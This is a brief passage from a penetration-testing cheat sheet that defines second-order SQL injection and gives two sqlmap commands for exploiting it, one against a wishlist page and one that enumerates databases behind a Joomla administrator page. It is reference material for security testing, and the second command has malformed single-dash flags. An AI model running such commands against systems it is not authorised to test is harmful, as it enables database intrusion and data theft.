A second-order SQL injection occurs when malicious SQL code injected into an application is not executed immediately but is instead stored in the database and later used in another SQL query.
sqlmap -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbsSource: SQL Injection/SQLmap.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.